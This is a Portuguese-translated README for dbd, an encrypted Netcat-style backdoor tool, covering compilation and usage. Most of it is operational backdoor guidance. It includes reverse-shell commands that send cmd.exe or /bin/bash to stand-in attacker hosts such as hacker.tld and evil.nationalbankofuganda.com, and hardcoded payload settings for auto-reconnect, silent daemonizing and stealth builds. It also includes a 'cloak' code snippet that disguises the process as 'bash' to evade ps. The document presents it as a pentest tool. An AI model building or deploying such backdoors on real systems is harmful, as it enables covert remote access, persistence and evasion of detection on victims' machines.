
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd é distribuído sob a GNU GPL #Binário Mipsbe adicionado por Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###SINOPSE
dbd é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em sistemas operacionais do tipo Unix e no Microsoft Win32. O dbd apresenta criptografia AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), execução de programas (opção -e), escolha da porta de origem, reconexão contínua com atraso e alguns outros recursos interessantes. O dbd suporta apenas comunicação TCP/IP. O código-fonte e os binários são distribuídos sob a GNU General Public License.
###COMPILAÇÃO
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Para compilar o dbd em um sistema operacional do tipo Unix, você precisa do gcc e das ferramentas de desenvolvimento relevantes. Para Linux, FreeBSD, NetBSD, OpenBSD (e possivelmente outros), digite:
$ make unix
Para SunOS/Solaris, digite:
$ make sunos
Para compilar o dbd no Microsoft Windows (NT/2K/XP/2K3), você precisa do MinGW+MSYS ou do Cygwin com suporte completo de desenvolvimento (gcc MinGW do Cygwin). Para compilar um aplicativo de console Win32 nativo do dbd no Cygwin, digite:
$ make win32
ou, no MSYS:
$ make mingw
Para compilar um aplicativo sem console ("WinMain") no Cygwin, digite:
$ make win32bg
ou, no MSYS:
$ make mingwbg
Para compilar um aplicativo de console específico do Cygwin, digite:
$make cygwin
Você pode querer alterar o comportamento padrão do dbd. Uma das coisas mais importantes é trocar o segredo compartilhado padrão pela sua própria frase secreta. Edite o dbd.h e substitua pelas suas preferências. Você pode, por exemplo, querer codificar de forma fixa um host + porta para conectar se o dbd for iniciado sem opções. Exemplos completos são fornecidos no dbd.h.
###EXEMPLOS DE USO
Com um pouco de imaginação, o dbd pode ser usado para muitas coisas:
Use o dbd para transferir arquivos com segurança entre duas redes:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
ou a partir do win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Use o dbd como um chat simples (mas seguro):
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Use o dbd como backdoor de pentest:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
ou em sistemas operacionais do tipo Unix:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###OPÇÕES DE HARD CODING
Além de usar opções de linha de comando, você pode codificar de forma fixa variáveis usando #defines no dbd.h. Para isso, defina as variáveis que deseja usar como constantes nomeadas e compile normalmente. Por exemplo, se você quisesse codificar de forma fixa um executável do dbd que se conectasse de volta a "evil.nationalbankofuganda.com" na porta 995 e executasse "/bin/bash", você poderia executar:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
ou, usando #defines codificados de forma fixa, você poderia editar o dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Você também pode definir opções de respawn e stealth para ajudar a manter sua conexão:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Isso fará a conexão daemonizar ("melt" em termos de malware), nunca enviar saída para o STDOUT e tentar restabelecer a conexão a cada 15 minutos, caso ela se desconecte do ouvinte.
###TECNOLOGIA DE CAMUFLAGEM ROMULANA
Agora estamos entrando na parte divertida. Quando você for um mestre em codificar opções fixas no seu backdoor, poderá usar o que possivelmente é a constante nomeada mais divertida à nossa disposição: CLOAK. Para fazer isso, basta definir o valor:
#define CLOAK 1
NOTA: isso atualmente só funciona em compilações *nix. Eventualmente pretendo adicionar migração/enganchação de processos no Win32 para que esses alvos também possam sentir um pouco do amor romulano.
Para ambientes *nix, esta opção limpa o argv[0] e o substitui pela string "bash\0". Ela também limpa todos os outros argv[]'s (ficaria estranho se o ps retornasse "bash -e /bin/bash someremotehost.com 443", não ficaria?) Espero que seja desnecessário dizer que VOCÊ NÃO PODE USAR ESTA OPÇÃO A MENOS QUE ESTEJA CODIFICANDO DE FORMA FIXA SUAS VARIÁVEIS NO DBD.H. Além disso, se você estiver testando isso no seu próprio sistema, vai ser divertido escolher o pid certo para matar. ;)
Sinta-se à vontade para usar este limpador em qualquer coisa em que esteja trabalhando:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###AVISO
Não passe entrada em cache (um arquivo com comandos ou similar) para uma sessão "dbd -e" em modo de escuta. O "dbd -e" usa pipes para passar dados entre o programa executado e o dbd. Pipes são usados (em vez de descritores de arquivo duplicados em passagem direta) por causa da criptografia entre os pipes e o socket. Para evitar que a extremidade de escrita de um dos pipes bloqueie todo o processo, eu a transformei em um descritor não bloqueante. Há uma chance de que, ao passar entrada demais de uma só vez para o programa -e, ela seja truncada (cortada), pois o buffer do pipe (no SO) não consegue armazenar todos os dados. Esse problema pode ser resolvido tornando o dbd multithread, por exemplo, mas vou evitar isso pelo maior tempo possível por questões de compatibilidade.
##COMPILAÇÃO CRUZADA
Como o dbd foi projetado para interoperar com outras ferramentas/frameworks, o make agora permite a compilação cruzada win32 em sistemas Linux que possuem o toolchain mingw32-gcc. Essas opções são quase idênticas às suas contrapartes nativas do Windows, com a adição de "-cross" após a compilação escolhida. Exemplo:
$ make mingw-cross
fará a mesma coisa em um sistema Linux que
$ make mingw
faria em um sistema win32 com mingw/msys instalado.
No momento, todas as opções de compilação cruzada são feitas pensando no Kali Linux, mas devem funcionar em qualquer *nix com um pouco de amor. Se você tiver o mingw32-gcc instalado e o make não compilar, edite a variável WCC no topo do Makefile e coloque o caminho para o seu binário mingw32-gcc.
A partir do dbd-1.5, você pode usar qualquer toolchain de compilação cruzada para compilar o dbd definindo o prefixo do toolchain como CROSS_COMPILE. Por exemplo, compilar uma versão arm é tão fácil quanto:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##MAGIA AVANÇADA
Se você deseja integrar o dbd a um framework de exploração, pode escrever um módulo que gera um dbd.h personalizado com opções de configuração específicas para o seu alvo. Qualquer coisa não explicitamente #definida neste arquivo ainda usará os padrões, para que você não precise escrever tudo no cabeçalho. Exemplo: remova o arquivo dbd.h e substitua por:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
então chame make <opções de destino> para construir um payload de conexão automática com camuflagem e restabelecimento automático que se conecta de volta a um agente dbd em modo de escuta em evil.nationalbankofuganda.com executado com as opções:
$ dbd -l -p 995 -k customcrypto
Outro truque avançado é compilar o dbd usando dietlibc ou uClibc. Para compilar um agente dbd linux com dietlibc, use:
$ make unix CROSS_COMPILE="diet -Os "
Preste atenção ao espaço depois do "s" na string. Isso permite que o Makefile adicione o gcc com os CFLAGS e LDFLAGS padrão para que seu agente seja compilado corretamente. A vantagem de usar dietlibc é que ele produz um executável estático 100% muito pequeno para o ambiente de destino (cerca de 70K para um agente dbd linux antes do empacotamento, em oposição aos 700K+ padrão com glibc e gcc -static). Usar uClibc é ainda mais fácil, pois você apenas define o prefixo de compilação cruzada para seu toolchain em CROSS_COMPILE.
##LICENÇA
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]
Este programa é software livre; você pode redistribuí-lo e/ou modificá-lo sob os termos da GNU General Public License publicada pela Free Software Foundation; seja a versão 2 da Licença, ou (a seu critério) qualquer versão posterior.
Este programa é distribuído na esperança de que seja útil, mas SEM NENHUMA GARANTIA; sem sequer a garantia implícita de COMERCIABILIDADE ou ADEQUAÇÃO A UM DETERMINADO FIM. Consulte a GNU General Public License para mais detalhes.
Você deve ter recebido uma cópia da GNU General Public License junto com este programa; se não, escreva para a Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
A implementação de AES-CBC-128 + HMAC-SHA1 do dbd é Copyright (C) Christophe Devine [email protected] e é distribuída sob a GNU General Public License (GPL).
Algum código (para doexec_win32.h) foi derivado de doexec.c do port Win32 do Netcat (C) Weld Pond e hobbit. Partes do doexec.c são Copyright (C) 1994 Nathaniel W. Mishkin (o código do doexec.c foi originalmente derivado de rlogind.exe).
A versão original do Netcat foi escrita por hobbit [email protected]. A versão NT foi feita por Weld Pond [email protected].
(C) Kyle Barnthouse [email protected]
Consultor de Segurança
gitbrew.org
Hephaestus Security